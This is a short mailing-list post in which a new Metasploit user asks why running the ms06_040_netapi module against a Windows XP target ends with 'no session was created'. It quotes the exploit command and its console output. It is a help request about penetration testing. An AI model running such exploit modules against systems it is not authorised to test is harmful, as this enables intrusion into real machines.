[framework] Exploit problem

[Yuz@|m|e M()hd Yu$()f]

Hi all,

I'm new here. I try to run framework v3.0 on Fedora Core 6(with iptables 
service running). Everything going smooth during pene testing until i 
reach at command exploit. When i run the command exploit below result is 
coming out. Any problem with below result?
Why give and error no session was created? anything wrong?


msf exploit(ms06_040_netapi) > exploit
[*] Started bind handler
[*] Detected a Windows XP SP0/SP1 target
[*] Binding to 
4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0 at ncacn_np:10.4.4.9[\BROWSER] ...
[*] Bound to 
4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0 at ncacn_np:10.4.4.9[\BROWSER] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] Exploit completed, but *no session was created.*

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